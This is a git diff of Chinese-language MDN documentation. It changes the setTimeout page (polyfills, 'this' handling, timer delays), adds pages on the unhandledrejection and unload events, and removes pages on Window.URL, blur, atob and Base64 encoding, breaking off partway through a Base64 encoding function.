也可参考 clearTimeout() 示例.

- -

兼容旧环境(polyfill)

- -

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

- -
/*\
-|*|
-|*|  Polyfill which enables the passage of arbitrary arguments to the
-|*|  callback functions of JavaScript timers (HTML5 standard syntax).
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
-|*|
-|*|  Syntax:
-|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
-|*|  var timeoutID = window.setTimeout(code, delay);
-|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
-|*|  var intervalID = window.setInterval(code, delay);
-|*|
-\*/
-
-(function() {
-  setTimeout(function(arg1) {
-    if (arg1 === 'test') {
-      // feature test is passed, no need for polyfill
-      return;
-    }
-    var __nativeST__ = window.setTimeout;
-    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
-      var aArgs = Array.prototype.slice.call(arguments, 2);
-      return __nativeST__(vCallback instanceof Function ? function() {
-        vCallback.apply(null, aArgs);
-      } : vCallback, nDelay);
-    };
-  }, 0, 'test');
-
-  var interval = setInterval(function(arg1) {
-    clearInterval(interval);
-    if (arg1 === 'test') {
-      // feature test is passed, no need for polyfill
-      return;
-    }
-    var __nativeSI__ = window.setInterval;
-    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
-      var aArgs = Array.prototype.slice.call(arguments, 2);
-      return __nativeSI__(vCallback instanceof Function ? function() {
-        vCallback.apply(null, aArgs);
-      } : vCallback, nDelay);
-    };
-  }, 0, 'test');
-}())
- -

针对IE的解决方法

- -

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

- -
/*@cc_on
-  // conditional IE < 9 only fix
-  @if (@_jscript_version <= 9)
-  (function(f){
-     window.setTimeout = f(window.setTimeout);
-     window.setInterval = f(window.setInterval);
-  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
-  @end
-@*/
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

或者使用更加清晰的 IE HTML 条件注释:

- -
<!--[if lte IE 9]><script>
-(function(f){
-window.setTimeout=f(window.setTimeout);
-window.setInterval=f(window.setInterval);
-})(function(f){return function(c,t){
-var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
-});
-</script><![endif]-->
-
-
-
- -
- -
- -

变通方法

- -

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

- -
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
-
- -
- -

上面那个例子也可以用箭头函数:

- -
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
-
- -

此外,也可使用 function's bind

- -
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
-
- -

关于"this"的问题

- -

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

- -

解释

- -

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

- -
-

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

-
- -

查看下面的例子:

- -
let myArray = ["zero", "one", "two"];
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-myArray.myMethod(); // prints "zero,one,two"
-myArray.myMethod(1); // prints "one"
- -

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

- -
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
-setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
- -

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

- -
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
- -

可能的解决方案

- -

一个通用的方法是用包装函数来设置this

- -
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
- -

箭头函数也可以:

- -
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
- -

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

- -
// Enable the passage of the 'this' object through the JavaScript timers
-
-var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
-
-window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeST__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
-
-window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeSI__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
- -
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
- -

新特性检测:

- -
let myArray = ["zero", "one", "two"];
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
-setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
-
- -

针对这个问题并没有原生的解决方案。

- -
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
- -

使用bind()的例子:

- -
let myArray = ['zero', 'one', 'two'];
-myBoundMethod = (function (sProperty) {
-    console.log(arguments.length > 0 ? this[sProperty] : this);
-}).bind(myArray);
-
-myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
-myBoundMethod(1); // prints "one"
-setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
-setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
-
- -

备注

- -

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

- -

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

- -

传递字符串字面量

- -

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

- -
// 推荐
-window.setTimeout(function() {
-    alert("Hello World!");
-}, 500);
-
-// 不推荐
-window.setTimeout("alert(\"Hello World!\");", 500);
-
-
- -

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

- -

实际延时比设定值更久的原因:最小延迟时间

- -

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

- -

最小延时 >=4ms

- -

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

- -
function cb() { f(); setTimeout(cb, 0); }
-setTimeout(cb, 0);
- -
setInterval(f, 0);
- -

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

- -

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

- -

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

- -
-

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

-
- -
-

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

-
- -

未被激活的tabs的定时最小延迟>=1000ms

- -

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

- -

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

- -

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

- -
-

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

-
- -

追踪型脚本的最小延时限制

- -

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

- -

控制这些行为的属性包含以下这些:

- -
    -
  • dom.min_tracking_timeout_value: 4
  • -
  • dom.min_tracking_background_timeout_value: 10000
  • -
  • dom.timeout.tracking_throttling_delay: 30000
  • -
- -

超时延迟

- -

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

- -
function foo() {
-  console.log('foo has been called');
-}
-setTimeout(foo, 0);
-console.log('After setTimeout');
- -

会在控制台输出:

- -
After setTimeout
-foo has been called
- -

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

- -

WebExtension Background pages和定时器

- -

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

- -

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

- -

1.兼容Chorme。

- -

2.未来行为的改变会引起问题。

- -

最大延时值

- -

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
- -

浏览器兼容性

- -
- - -

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

-
- -

相关链接:

- - diff --git a/files/zh-cn/web/api/window/unhandledrejection_event/index.html b/files/zh-cn/web/api/window/unhandledrejection_event/index.html new file mode 100644 index 0000000000..9c3286aa44 --- /dev/null +++ b/files/zh-cn/web/api/window/unhandledrejection_event/index.html @@ -0,0 +1,118 @@ +--- +title: unhandledrejection +slug: Web/Events/unhandledrejection +tags: + - API + - JavaScript + - Promise + - unhandledrejection + - 事件 + - 参考 +translation_of: Web/API/Window/unhandledrejection_event +--- +
{{APIRef("HTML DOM")}}
+ +

当{{jsxref("Promise")}} 被 reject 且没有 reject 处理器的时候,会触发 unhandledrejection 事件;这可能发生在 {{domxref("window")}} 下,但也可能发生在 {{domxref("Worker")}} 中。 这对于调试回退错误处理非常有用。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡No
是否可取消Yes
接口{{domxref("PromiseRejectionEvent")}}
事件处理器属性{{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}}
+ +

使用备注

+ +

unhandledrejection 继承自 {{domxref("PromiseRejectionEvent")}},而 {{domxref("PromiseRejectionEvent")}} 又继承自 {{domxref("Event")}}。因此unhandledrejection 含有 PromiseRejectionEventEvent 的属性和方法。

+ +

例子

+ +

Here we have a few examples showing ways you can make use of the unhandledrejection event. The event includes two useful pieces of information:

+ +

我们将通过几个例子来展示 unhandledrejection 事件的使用方式。该事件主要包含两部分有用的信息:

+ +
+
promise
+
The actual {{jsxref("Promise")}} which was rejected with no handler available to deal with the rejection.
+
特定的 {{jsxref("Promise")}} 被 reject 而没有被相应的异常处理方法所处理时
+
reason
+
The reason that would have been passed into the rejection handler if one had existed. See {{jsxref("Promise.catch", "catch()")}} for details.
+
将会传入异常处理方法中的错误原因(如果存在),查看 {{jsxref("Promise.catch", "catch()")}} 相关以获取更多细节。
+
+ +

基本的异常上报

+ +

此示例只是将有关未处理的 Promise rejection 信息打印到控制台。

+ +
window.addEventListener("unhandledrejection", event => {
+  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
+});
+
+ +

您还可以使用 {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} 事件处理程序属性来设置事件侦听器:

+ +
window.onunhandledrejection = event => {
+  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
+};
+
+ +

防止默认处理

+ +

许多环境(例如 {{Glossary("Node.js")}} ) 默认情况下会向控制台打印未处理的 Promise rejections。您可以通过添加一个处理程序来防止 unhandledrejection 这种情况的发生,该处理程序除了您希望执行的任何其他任务之外,还可以调用 {{domxref("Event.preventDefault()", "preventDefault()")}} 来取消该事件,从而防止该事件冒泡并由运行时的日志代码处理。这种方法之所以有效,是因为 unhandledrejection 是可以取消的。

+ +
window.addEventListener('unhandledrejection', function (event) {
+  // ...您的代码可以处理未处理的拒绝...
+
+  // 防止默认处理(例如将错误输出到控制台)
+
+  event.preventDefault();
+});
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'unhandledrejection')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.unhandledrejection_event")}}

+ +

参考

+ +
    +
  • {{SectionOnPage("/en-US/docs/Web/JavaScript/Guide/Using_promises", "Promise rejection events")}}
  • +
  • {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} event handler property1
  • +
  • {{Event("rejectionhandled")}}
  • +
  • {{domxref("Promise")}}
  • +
+ +

[1] The corresponding event handler property is defined on the {{domxref("WindowEventHandlers")}} mixin, which is available on both the {{domxref("Window")}} interface and all types of {{domxref("Worker")}} interfaces.

diff --git a/files/zh-cn/web/api/window/unload_event/index.html b/files/zh-cn/web/api/window/unload_event/index.html new file mode 100644 index 0000000000..2510b1f651 --- /dev/null +++ b/files/zh-cn/web/api/window/unload_event/index.html @@ -0,0 +1,125 @@ +--- +title: unload +slug: Web/Events/unload +tags: + - Window + - events + - unload +translation_of: Web/API/Window/unload_event +--- +

{{APIRef}}

+ +

当文档或一个子资源正在被卸载时, 触发 unload事件。

+ + + + + + + + + + + + + + + + + + + + +
可冒泡(Bubbles)No
可取消(Cancelable)No
接口(Interface){{domxref("Event")}}
事件处理程序属性(Event handler property){{domxref("WindowEventHandlers/onunload", "onunload")}}
+ +

它在下面两个事件后被触发:

+ +
    +
  1. beforeunload (可取消默认行为的事件)
  2. +
  3. pagehide
  4. +
+ +

文档处于以下状态:

+ +
    +
  • 所有资源仍存在 (图片, iframe 等.)
  • +
  • 对于终端用户所有资源均不可见
  • +
  • 界面交互无效 (window.open, alert, confirm 等.)
  • +
  • 错误不会停止卸载文档的过程
  • +
+ +

请注意unload事件也遵循文档树:父iframe会在子iframe卸载前卸载(参考下面的例子).

+ +

示例

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Parent Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 1st one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 3rd one.');
+      });
+    </script>
+  </head>
+  <body>
+    <iframe src="child-frame.html"></iframe>
+  </body>
+</html>
+ +

下面是 child-frame.html的内容:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Child Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 2nd one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 4th and last one…');
+      });
+    </script>
+  </head>
+  <body>
+      ☻
+  </body>
+</html>
+ +

当父iframe被卸载,事件将按console.log() 消息描述的顺序触发。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态描述
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.unload_event")}}

+ +

参见

+ +
    +
  • 相关事件: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}
  • +
  • Unloading Documents — unload a document
  • +
diff --git a/files/zh-cn/web/api/window/url/index.html b/files/zh-cn/web/api/window/url/index.html deleted file mode 100644 index 3ca38bbd39..0000000000 --- a/files/zh-cn/web/api/window/url/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Window.URL -slug: Web/API/Window/URL -tags: - - Window.URL -translation_of: Web/API/URL -translation_of_original: Web/API/Window/URL ---- -

{{ApiRef("Window")}}{{SeeCompatTable}}

- -

Window.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。它也可以作为一个构造函数被调用来构造 {{domxref("URL")}} 对象。

- -
-

Note: 此功能在Web Workers中可用。

-
- -

语法

- -

调用一个静态方法:

- -
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
- -

构造一个新对象:

- -
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
- {{CompatGeckoDesktop("19.0")}}
10.015.0[2]6.0[2]
- 7.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
- {{CompatGeckoMobile("19.0")}}
{{CompatVersionUnknown}}15.0[2]6.0[2]
-
- -

[1] 从 Gecko 2 (Firefox 4) 到 包括Gecko 18, Gecko 返回一个不标准的nsIDOMMozURLProperty内部类型. 在实践中, 这是没有意义的.

- -

[2] 在非标准名称webkitURL下实现。

- -

也可以看看

- -
    -
  • {{domxref("URL")}} API.
  • -
diff --git a/files/zh-cn/web/api/window/window.blur()/index.html b/files/zh-cn/web/api/window/window.blur()/index.html deleted file mode 100644 index 0aebdbb367..0000000000 --- a/files/zh-cn/web/api/window/window.blur()/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Window.blur() -slug: Web/API/Window/Window.blur() -translation_of: Web/API/Window/blur ---- -

{{APIRef}}

- -

总结

- -

将焦点移出顶层窗口。

- -

语法

- -
window.blur()
- -

示例

- -
window.blur();
- -

注意

- -

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/windowbase64/atob/index.html b/files/zh-cn/web/api/windowbase64/atob/index.html deleted file mode 100644 index 2892e403d4..0000000000 --- a/files/zh-cn/web/api/windowbase64/atob/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.atob() -slug: Web/API/WindowBase64/atob -tags: - - API - - Base64 - - DOM - - WindowOrWorkerGlobalScope - - atob - - 参考 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/atob ---- -

{{APIRef("HTML DOM")}}

- -

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

- -

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

- -

语法

- -
var decodedData = scope.atob(encodedData);
- -

异常

- -

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

- -

示例

- -
let encodedData = window.btoa("Hello, world"); // 编码
-let decodedData = window.atob(encodedData);    // 解码
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
- -

浏览器兼容性

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html deleted file mode 100644 index 5da5d1e0f4..0000000000 --- a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html +++ /dev/null @@ -1,605 +0,0 @@ ---- -title: Base64的编码与解码 -slug: Web/API/WindowBase64/Base64_encoding_and_decoding -translation_of: Glossary/Base64 ---- -

Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

- -

Base64编码普遍应用于需要通过被设计为处理文本数据的媒介上储存和传输二进制数据而需要编码该二进制数据的场景。这样是为了保证数据的完整并且不用在传输过程中修改这些数据。Base64 也被一些应用(包括使用 MIME 的电子邮件)和在 XML 中储存复杂数据时使用。 

- -

在 JavaScript 中,有两个函数被分别用来处理解码和编码 base64 字符串:

- -
    -
  • {{domxref("WindowBase64.atob","atob()")}}
  • -
  • {{domxref("WindowBase64.btoa","btoa()")}}
  • -
- -

atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

- -

atob() 和 btoa() 均使用字符串。如果你想使用 ArrayBuffers,请参阅后文。

- -

编码尺寸增加

- -

每一个Base64字符实际上代表着6比特位。因此,3字节(一字节是8比特,3字节也就是24比特)的字符串/二进制文件可以转换成4个Base64字符(4x6 = 24比特)。

- -

这意味着Base64格式的字符串或文件的尺寸约是原始尺寸的133%(增加了大约33%)。如果编码的数据很少,增加的比例可能会更高。例如:字符串"a"length === 1进行Base64编码后是"YQ=="length === 4,尺寸增加了300%。

- - - - - - - - - - -
-

文档

- -
-
data URIs
-
data URIs, 定义于 RFC 2397,用于在文档内嵌入小的文件。
-
Base64
-
维基百科上关于 Base64 的文章。
-
{{domxref("WindowBase64.atob","atob()")}}
-
解码一个Base64字符串。
-
{{domxref("WindowBase64.btoa","btoa()")}}
-
从一个字符串或者二进制数据编码一个Base64字符串。
-
"Unicode 问题"
-
在大多数浏览器里里,在一个Unicode字符串上调用btoa()会造成一个Character Out Of Range异常。这一段写了一些解决方案。
-
URIScheme
-
Mozilla支持的URI schemes列表。
-
StringView
-
这篇文章发布了一个我们做的库,目的在于: -
    -
  • 为字符串创建一个类C接口 (i.e. array of characters codes — ArrayBufferView in JavaScript) ,基于JavaScript ArrayBuffer 接口。
  • -
  • 为类字符串对象(目前为止为: stringViews) 创建一系列方法,它们严格按照数字数组工作,而不是不可变的字符串。
  • -
  • 可用于其它Unicode编码,和默认的 DOMStrings不同。
  • -
-
-
- -

查看所有...

-
-

工具

- - - -

View All...

- - - - -
- -

Unicode 问题

- -

由于 DOMString 是16位编码的字符串,所以如果有字符超出了8位ASCII编码的字符范围时,在大多数的浏览器中对Unicode字符串调用 window.btoa 将会造成一个 Character Out Of Range 的异常。有很多种方法可以解决这个问题:

- -
    -
  • the first method consists in encoding JavaScript's native UTF-16 strings directly into base64 (fast, portable, clean)
  • -
  • the second method consists in converting JavaScript's native UTF-16 strings to UTF-8 and then encode the latter into base64 (relatively fast, portable, clean)
  • -
  • the third method consists in encoding JavaScript's native UTF-16 strings directly into base64 via binary strings (very fast, relatively portable, very compact)
  • -
  • the fourth method consists in escaping the whole string (with UTF-8, see {{jsxref("encodeURIComponent")}}) and then encode it (portable, non-standard)
  • -
  • the fifth method is similar to the second method, but uses third party libraries
  • -
- -

Solution #1 – JavaScript's UTF-16 => base64

- -

A very fast and widely useable way to solve the unicode problem is by encoding JavaScript native UTF-16 strings directly into base64. Please visit the URL data:text/plain;charset=utf-16;base64,OCY5JjomOyY8Jj4mPyY= for a demonstration (copy the data uri, open a new tab, paste the data URI into the address bar, then press enter to go to the page). This method is particularly efficient because it does not require any type of conversion, except mapping a string into an array. The following code is also useful to get an ArrayBuffer from a Base64 string and/or viceversa (see below).

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#1)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-/* Array of bytes to base64 string decoding */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlockSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-    }
-  }
-
-  return aBytes;
-}
-
-/* Base64 string to array encoding */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
-
-  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    /* Uncomment the following line in order to split the output in lines 76-character long: */
-    /*
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    */
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
